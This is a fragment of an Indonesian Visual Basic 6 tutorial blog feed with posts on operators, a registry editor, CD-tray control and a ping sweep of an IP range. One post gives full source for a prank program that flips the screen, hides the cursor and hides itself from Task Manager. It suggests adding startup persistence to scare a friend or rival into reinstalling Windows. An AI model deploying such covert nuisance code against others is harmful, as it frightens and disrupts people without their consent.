type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-492873342894103039?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/492873342894103039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/cek-koneksi-internat-onoff-cek-ip.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/492873342894103039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/492873342894103039'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/cek-koneksi-internat-onoff-cek-ip.html' title='Cek Koneksi Internat (On/Off), Cek IP Adress, Cek Hostname'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_48czvH0DaKc/SFFImGzHSfI/AAAAAAAAAAM/PSITe9Q-cGM/s72-c/CekKoneksiIPAdrrseHostName%28Tidak+Terkoneksi%29.bmp' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8174319859802582824</id><published>2008-06-12T08:49:00.006+07:00</published><updated>2010-07-16T23:39:00.103+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basic'/><title type='text'>Operator Pada VB (Aritmatika, Logika, Perbandingan)</title><content type='html'>Kali ini akan kita akan mengenal Operator tes, langsung saja ya..&lt;br /&gt;1. Operator Aritmatika Dalam menggunakan fungsi yang berhubungan dengan operasi aritmatika ada beberapa operator yang harus anda kenal terlebih dahulu. Operator aritmatika terdiri dari Penjumlahan (+), pengurangan (-), perkalian (*), pembagian bilangan real(/), pembagian bilangan bulat (\), perpangkatan (^),penggabungan (&amp;amp;) dan sisa hasil bagi (mod) -Penjumlahan, Hasil = Angka1 + Angka2 -Pengurangan, Hasil = Angka1 - Angka2 -Perkalian, Hasl = Angka1 * Angka2 -Pembagian Bilangan Real (/), Hasil = Angka1 / Angka2 -Pembagian Bilangan Bulat (\), Hasil= Angka1 \ Angka &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SFPHgd5NeiI/AAAAAAAAAAs/1aK5vumgFew/s1600-h/OPERATOR+TEST.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5211728554392123938" src="http://4.bp.blogspot.com/_48czvH0DaKc/SFPHgd5NeiI/AAAAAAAAAAs/1aK5vumgFew/s400/OPERATOR+TEST.bmp" style="display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. Operator Modulus, digunakan untuk melakukan operasi pembagian dari dua bilangan yang akan mengahasilkan nilai sisa hasil pembagian. Hasil = angka1 Mod Angka2, Contoh Hasil = 10 Mod 5 akan menghasilkan nilai 0 -Operator perpangkatan, Hasil Angka1 ^ Eksponen, contoh Hasil = 2 ^ 2 maka akan menghasilkan nilai 4 -Operator penggabungan, digunakan untuk menggabungkan dua pernyataan yang berbentuk teks (string), jika pernyatan yang digabungkan bukan merupakan data berbentuk teks (string) maka data tersebut akan diubah menjadi data bertipe string. Jika pernyataan bernilai Null, maka hasil juga akan bernilai Null. Jika salah satu pernyataan bernilai Null, maka peryataan tersebut dianggap sebagai teks kosong ("").2. Operator Logika/Boolean Operator logika merupakan operator yang menghasilkan nilai logika (True atau False). Operator logika ini sering disebut dengan operator Boolean, operator ini meliputi : And, Aqv, Imp, Not, Or dan Xor.&lt;br /&gt;3. Operator Perbandingan Operator perbandingan berfungsi untuk membandingkan dua pernyataan, meliputi : Lebih besar (&amp;gt;), lebih kecil (&amp;lt;), samadengan (=), lebih besar samadengan (&amp;gt;=), lebih kecil samadengan (&amp;lt;=), tidak samadengan (&amp;lt;&amp;gt;)&lt;br /&gt;&lt;br /&gt;Demikian sekilas pengenalan mengenai operator yang ada pada visual basic, dalam pembelajaran ini mungkin banyak kekurangan mohon maafnya dan semoga bermanfaat, terimakasih.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-8174319859802582824?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/8174319859802582824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/membuat-operator-pada-vb-aritmatika.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8174319859802582824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8174319859802582824'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/membuat-operator-pada-vb-aritmatika.html' title='Operator Pada VB (Aritmatika, Logika, Perbandingan)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_48czvH0DaKc/SFPHgd5NeiI/AAAAAAAAAAs/1aK5vumgFew/s72-c/OPERATOR+TEST.bmp' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-4528356074114573797</id><published>2008-06-12T08:43:00.011+07:00</published><updated>2011-01-01T01:36:20.459+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Putar Layar Monitor Secara Flip/Terbalik (Viruskah???)</title><content type='html'>Sekarang kita akan mencoba membuat program yang agak usil yaitu program yang membuat user keheranan atau malah takut karena program ini akan membuat layar terbalik dan mouse akan menghilang. List di task manager pada tab application juga tidak menunjukan adanya suatu program yang berjalan, kombinasi Alt+Tab dan Alt+F4 juga tidak menyelesaikan masalah, pasti user akan semakin bingung or ketakutan.Jika ditambahi sedikit code registry yang akan membuat program berjalan pada saat windows hidup/startup mungkin akan membuat teman anda atau malah saingan anda menginstal ulang komputernya karena dikira kerjaan virus he..he.., selamat ber-iseng ria. Untuk menormalkan kembali tekan huruf N pada keyboard maka semua akan kembali Normal.Semoga bermanfaat.Program ini merupakan saduran dari buku "Eksplorasi Win32-API dengan Visual Basic" Karya Johan Saputra, terimakasih saya ucapkan pada Mas Johan Saputra, karena tulisan di blog ini sebagian besar yang menyangkut dengan Win32-API merupakan hasil dari pemikiran Mas, yang ada di dalam buku tersebut.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SFUGWUnxIeI/AAAAAAAAAA8/HrPizG9SZlI/s1600-h/MalfungsiScreen.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5212079124313612770" src="http://2.bp.blogspot.com/_48czvH0DaKc/SFUGWUnxIeI/AAAAAAAAAA8/HrPizG9SZlI/s400/MalfungsiScreen.bmp" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Masukan semua Kode dibawah ini pada form&lt;/u&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 498px;text-align: left;overflow: auto"&gt;Private Declare Function GetDC Lib "user32" (ByVal hWND As Long) As Long&lt;br /&gt;Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long&lt;br /&gt;Private Declare Function SetWindowPos Lib "user32" (ByVal hWND As Long, ByVal hWndInsertAfter_ As Long, ByVal X As Long, ByVal y_ As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags_ As Long) As Long&lt;br /&gt;Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long&lt;br /&gt;&lt;br /&gt;'Nilai konstan untuk parameter SetWindowPos.&lt;br /&gt;Private Const conHwndTopmost = -1&lt;br /&gt;Private Const conHwndNoTopmost = -2&lt;br /&gt;Private Const conSwpNoActivate = &amp;H10&lt;br /&gt;Private Const conSwpShowWindow = &amp;H40 &lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Me.AutoRedraw = True 'memastikan Form bisa menampung hasil copy layar.&lt;br /&gt;Me.WindowState = 2 'Maximize.&lt;br /&gt;SelaluTeratas Me.hWND, Me.Left / Screen.TwipsPerPixelX, Me.Top / Screen.TwipsPerPixelY, Me.Height / Screen.TwipsPerPixelY, Me.Width / Screen.TwipsPerPixelX, True&lt;br /&gt;App.TaskVisible = False 'menyembunyikan aplikasi pada task manager (tab Application) tetapi terlihat di tab Process&lt;br /&gt;ShowCursor False 'Sembunyikan cursor.&lt;br /&gt;End Sub &lt;br /&gt;&lt;br /&gt;'Saat Form berubah ukuran (maximize).&lt;br /&gt;Private Sub Form_Resize()&lt;br /&gt;Dim W, H 'Tipe variant.&lt;br /&gt;'Set ukuran rectangle screen.&lt;br /&gt;W = Screen.Width / 15&lt;br /&gt;H = Screen.Height / 15&lt;br /&gt;'kopian layar diambil dan di tampilkan pada Form secara Flip&lt;br /&gt;StretchBlt Me.hdc, 0, H, W, -H, GetDC(0&amp;), 0, 0, W, H, vbSrcCopy&lt;br /&gt;End Sub &lt;br /&gt;&lt;br /&gt;'Fungsi buatan.&lt;br /&gt;Private Function SelaluTeratas(ByVal hWND, FrmX As Long, FrmY As Long, Tinggi As Long, Lebar As Long, ApakahTeratas As Boolean)&lt;br /&gt;If ApakahTeratas = True Then&lt;br /&gt;&lt;br /&gt;SetWindowPos hWND, conHwndTopmost, FrmX, FrmY, Lebar, Tinggi, conSwpNoActivate&lt;br /&gt;&lt;br /&gt;ElseIf ApakahTeratas = False Then&lt;br /&gt;&lt;br /&gt;SetWindowPos hWND, conHwndNoTopmost, FrmX, FrmY, Lebar, Tinggi, conSwpShowWindow&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Function &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Fungsi buatan untuk Normalisasi seperti keadaan semula.&lt;br /&gt;Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)&lt;br /&gt;&lt;br /&gt;If KeyCode = vbKeyN Then 'Jika tombol "N" keyboard ditekan.&lt;br /&gt;ShowCursor True&lt;br /&gt;End&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10366415/MalFungsiScreen.rar.html"&gt;Download Mal Fungsi Screen&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-4528356074114573797?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/4528356074114573797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/sekarang-kita-akan-mencoba-membuat.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/4528356074114573797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/4528356074114573797'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/sekarang-kita-akan-mencoba-membuat.html' title='Putar Layar Monitor Secara Flip/Terbalik (Viruskah???)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_48czvH0DaKc/SFUGWUnxIeI/AAAAAAAAAA8/HrPizG9SZlI/s72-c/MalfungsiScreen.bmp' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-2417470906239272012</id><published>2008-06-12T08:36:00.006+07:00</published><updated>2011-05-22T05:23:33.224+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Membuat Aplikasi Edit Registry (150 lebih Tip dan Trik Registry Terintegrasi didalamnya)</title><content type='html'>Kita akan mencoba membuat aplikasi Edit Registry yang memiliki kemampuan untuk membuka key, membuat key, hapus key dan value, membaca Value Data dengan Tipe RG_SZ, melakukan seting Value kedalam Tipe Value REG_DWORD, REG_SZ DAN REG_BINARY. Ditambah adanya tutorial tip dan trik registry lebih dari 150 tip trik yang terintegrasi didalam aplikasi sehingga dapat langsung dipraktekan.Yang dibutuhkan pada pembuatan aplikasi ini tidak beda dengan aplikasi standar, yaitu textbox, label, commandbutton, checkbox, optionbutton, listbox, image, timer. Lebih jelasnya dapat dilihat pada gambar di bawah ini.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_48czvH0DaKc/SFUiMYAQwXI/AAAAAAAAABE/5yEnARYRGME/s1600-h/Registry.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5212109739748540786" src="http://1.bp.blogspot.com/_48czvH0DaKc/SFUiMYAQwXI/AAAAAAAAABE/5yEnARYRGME/s400/Registry.jpg" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;Ini linknya &lt;a href="http://www.ziddu.com/download/10365706/EditRegistry.rar.html"&gt;Edit Registry&lt;/a&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-2417470906239272012?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/2417470906239272012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/membuat-aplikasi-edit-registry-150.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/2417470906239272012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/2417470906239272012'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/membuat-aplikasi-edit-registry-150.html' title='Membuat Aplikasi Edit Registry (150 lebih Tip dan Trik Registry Terintegrasi didalamnya)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_48czvH0DaKc/SFUiMYAQwXI/AAAAAAAAABE/5yEnARYRGME/s72-c/Registry.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-998145504140892157</id><published>2008-06-12T08:32:00.015+07:00</published><updated>2011-01-01T01:12:14.407+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Open Close CD Room</title><content type='html'>Di bawah ini disajikan source code untuk melakukan Open dan Close CD Room, siapa tahu dari code tersebut dapat menginspirasi anda untuk membuat suatu aplikasi yang lebih baru atau lebih kreatif lagi.&lt;br /&gt;Dalam aplikasi ini yang dibutuhkan adalah :&lt;br /&gt;- 3 Commandbutton, dengan properties name Command1, Command2, Command3&lt;br /&gt;- 1 form, dengan properties name form1&lt;br /&gt;- 1 modul, dengan properties name module1&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Masukkan Code Dibawah ini pada module1&lt;/u&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 498px;text-align: left;overflow: auto"&gt;Option Explicit&lt;br /&gt;    Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long&lt;br /&gt;Public Function OpenCDDoor(ByVal drv As String) As Long&lt;br /&gt;    Dim Alias As String&lt;br /&gt;    Dim retval As Long&lt;br /&gt;    Alias = "Drive" &amp; drv&lt;br /&gt;    retval = -1&lt;br /&gt;    retval = mciSendString("open " &amp; drv &amp; ": type cdaudio alias " &amp; Alias &amp; " wait", vbNullString, 0&amp;, 0&amp;)&lt;br /&gt;    retval = mciSendString("set " &amp; Alias &amp; " door open", vbNullString, 0&amp;, 0&amp;)&lt;br /&gt;    OpenCDDoor = retval&lt;br /&gt;End Function&lt;br /&gt;Public Function CloseCDDoor(ByVal drv As String) As Long&lt;br /&gt;    Dim Alias As String&lt;br /&gt;    Dim retval As Long&lt;br /&gt;    Alias = "Drive" &amp; drv&lt;br /&gt;    retval = -1&lt;br /&gt;    retval = mciSendString("set " &amp; Alias &amp; " door closed", vbNullString, 0&amp;, 0&amp;)&lt;br /&gt;    retval = mciSendString("close " &amp; Alias, vbNullString, 0&amp;, 0&amp;)&lt;br /&gt;    CloseCDDoor = retval&lt;br /&gt;End Function&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Masukkan code di bawah inipada form&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 250px;text-align: left;overflow: auto"&gt;Private Sub Command1_Click()&lt;br /&gt;OpenCDDoor "G" 'pastikan drive G adalah drive untuk CD/DVD Room, jika bukan G tinggal anda ubah G tersebut menjadi Huruf sesuai dng Drive CD/DVD Room&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;CloseCDDoor "G" 'pastikan drive G adalah drive untuk CD/DVD Room, jika bukan G tinggal anda ubah G tersebut menjadi Huruf sesuai dng Drive CD/DVD Room&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10365707/OpenCloseCDRoom.rar.html"&gt;Download Project Open Close CD-Room&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-998145504140892157?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/998145504140892157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/open-close-cd-room.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/998145504140892157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/998145504140892157'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/open-close-cd-room.html' title='Open Close CD Room'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-7677320918247654655</id><published>2008-06-12T08:23:00.013+07:00</published><updated>2011-01-01T01:21:14.499+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Cek IP Adress Orang Lain Aktif Atau Tidak</title><content type='html'>Untuk tulisan kali ini disajikan bagaimana cara pembuatan aplikasi yang berfungsi untuk mengetahui status aktif atau tidak akltif dari Komputer tetangga dengan melakukan pencarian IP Adress.Siapa tahu dengan kita mengetahui IP Adress komputer tetangga, kita dapat mencari file, melakukan Shutdown ataupun tujuan positif lainnya he..he..&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Yang dibutuhkan dalam pembuatan aplikasi kali ini adalah :&lt;br /&gt;- 1 listbox dengan properties name List1&lt;br /&gt;- 2 textbox dengan propertie name Text1 dan Text2&lt;br /&gt;- 2 commandbutton dengan properties name Command1 dan Command2&lt;br /&gt;- 2 label dengan properties name label1, properties Caption="Cek IP Aktif dari" dan label2 dengan properties caption="Sampai"&lt;br /&gt;&lt;u&gt;Masukkan code di bawah ini pada form&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Option Explicit&lt;br /&gt;Const SOCKET_ERROR = 0&lt;br /&gt;Private Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal HostName As String) As Long&lt;br /&gt;Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired&amp;amp;, lpWSAdata As WSAdata) As Long&lt;br /&gt;Private Declare Function WSACleanup Lib "wsock32.dll" () As Long&lt;br /&gt;Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, hpvSource As Any, ByVal cbCopy As Long)&lt;br /&gt;Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long&lt;br /&gt;Private Declare Function IcmpCloseHandle Lib "icmp.dll" (ByVal HANDLE As Long) As Boolean&lt;br /&gt;Private Declare Function IcmpSendEcho Lib "ICMP" (ByVal IcmpHandle As Long, ByVal DestAddress As Long, ByVal RequestData As String, ByVal RequestSize As Integer, RequestOptns As IP_OPTION_INFORMATION, ReplyBuffer As IP_ECHO_REPLY, ByVal ReplySize As Long, ByVal TimeOut As Long) As Boolean&lt;br /&gt;&lt;br /&gt;'type data tambahan&lt;br /&gt;Private Type WSAdata&lt;br /&gt;wVersion As Integer&lt;br /&gt;wHighVersion As Integer&lt;br /&gt;szDescription(0 To 255) As Byte&lt;br /&gt;szSystemStatus(0 To 128) As Byte&lt;br /&gt;iMaxSockets As Integer&lt;br /&gt;iMaxUdpDg As Integer&lt;br /&gt;ipVendorInfo As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type Hostent&lt;br /&gt;h_name As Long&lt;br /&gt;h_aliases As Long&lt;br /&gt;h_addrtype As Integer&lt;br /&gt;h_length As Integer&lt;br /&gt;h_addr_list As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type IP_OPTION_INFORMATION&lt;br /&gt;TTL As Byte&lt;br /&gt;Tos As Byte&lt;br /&gt;Flage As Byte&lt;br /&gt;OptionsSize As Long&lt;br /&gt;OptionsData As String * 128&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type IP_ECHO_REPLY&lt;br /&gt;Address(0 To 3) As Byte&lt;br /&gt;Status As Long&lt;br /&gt;RoundTripTime As Long&lt;br /&gt;DataSize As Integer&lt;br /&gt;Reserved As Integer&lt;br /&gt;data As Long&lt;br /&gt;Options As IP_OPTION_INFORMATION&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public dir As String&lt;br /&gt;Public Function doPing(ByVal HostName As String) As Boolean&lt;br /&gt;Dim hFile As Long, lpWSAdata As WSAdata&lt;br /&gt;Dim hHostent As Hostent, AddrList As Long&lt;br /&gt;Dim Address As Long, rIP As String&lt;br /&gt;Dim OptInfo As IP_OPTION_INFORMATION&lt;br /&gt;Dim EchoReply As IP_ECHO_REPLY&lt;br /&gt;&lt;br /&gt;Call WSAStartup(&amp;amp;H101, lpWSAdata)&lt;br /&gt;&lt;br /&gt;If GetHostByName(HostName + String(64 - Len(HostName), 0)) &amp;lt;&amp;gt; SOCKET_ERROR Then&lt;br /&gt;CopyMemory hHostent.h_name, ByVal GetHostByName(HostName + String(64 - Len(HostName), 0)), Len(hHostent)&lt;br /&gt;CopyMemory AddrList, ByVal hHostent.h_addr_list, 4&lt;br /&gt;CopyMemory Address, ByVal AddrList, 4&lt;br /&gt;End If&lt;br /&gt;hFile = IcmpCreateFile()&lt;br /&gt;&lt;br /&gt;If hFile = 0 Then&lt;br /&gt;MsgBox " Unable to create file handle", vbCritical + vbOKOnly&lt;br /&gt;doPing = False&lt;br /&gt;Exit Function&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;OptInfo.TTL = 255&lt;br /&gt;If IcmpSendEcho(hFile, Address, String(32, "A"), 32, OptInfo, EchoReply, Len(EchoReply) + 8, 2000) Then&lt;br /&gt;rIP = CStr(EchoReply.Address(0)) + "." + CStr(EchoReply.Address(1)) + "." + CStr(EchoReply.Address(2)) + "." + CStr(EchoReply.Address(3))&lt;br /&gt;Else&lt;br /&gt;doPing = False&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If EchoReply.Status = 0 Then&lt;br /&gt;doPing = True&lt;br /&gt;Else&lt;br /&gt;doPing = False&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Call IcmpCloseHandle(hFile)&lt;br /&gt;Call WSACleanup&lt;br /&gt;End Function &lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Dim i As Integer&lt;br /&gt;Dim x, y&lt;br /&gt;Dim result As Boolean&lt;br /&gt;Dim resultString As String&lt;br /&gt;&lt;br /&gt;If Trim(Text1) = "" Then&lt;br /&gt;MsgBox "Isikan Alamat IP", vbCritical + vbOKOnly&lt;br /&gt;Text1.SetFocus&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If Trim(Text2) = "" Then&lt;br /&gt;MsgBox "Isikan Batasan/Range Alamat IP", vbCritical + vbOKOnly&lt;br /&gt;Text2.SetFocus&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;List1.Clear&lt;br /&gt;x = Split(Text1.Text, ".")&lt;br /&gt;y = Split(Text2.Text, ".")&lt;br /&gt;For i = CInt(x(3)) To CInt(y(3))&lt;br /&gt;dir = x(0) &amp;amp; "." &amp;amp; x(1) &amp;amp; "." &amp;amp; x(2) &amp;amp; "." &amp;amp; i&lt;br /&gt;result = doPing(dir)&lt;br /&gt;If result = True Then&lt;br /&gt;resultString = "Aktif"&lt;br /&gt;Else&lt;br /&gt;resultString = "NonAktif"&lt;br /&gt;End If&lt;br /&gt;List1.AddItem "Pinging " &amp;amp; dir &amp;amp; "..." &amp;amp; resultString&lt;br /&gt;List1.Refresh&lt;br /&gt;Next&lt;br /&gt;End Sub &lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;List1.Clear&lt;br /&gt;Text1.Text = ""&lt;br /&gt;Text2.Text = ""&lt;br /&gt;List1.Refresh&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Terimakasih, semoga bermanfaat.&lt;br /&gt;&amp;nbsp;&lt;a href="http://www.ziddu.com/download/10366294/CekIPAktif.rar.html"&gt;Download Cek IP Aktif&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-7677320918247654655?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 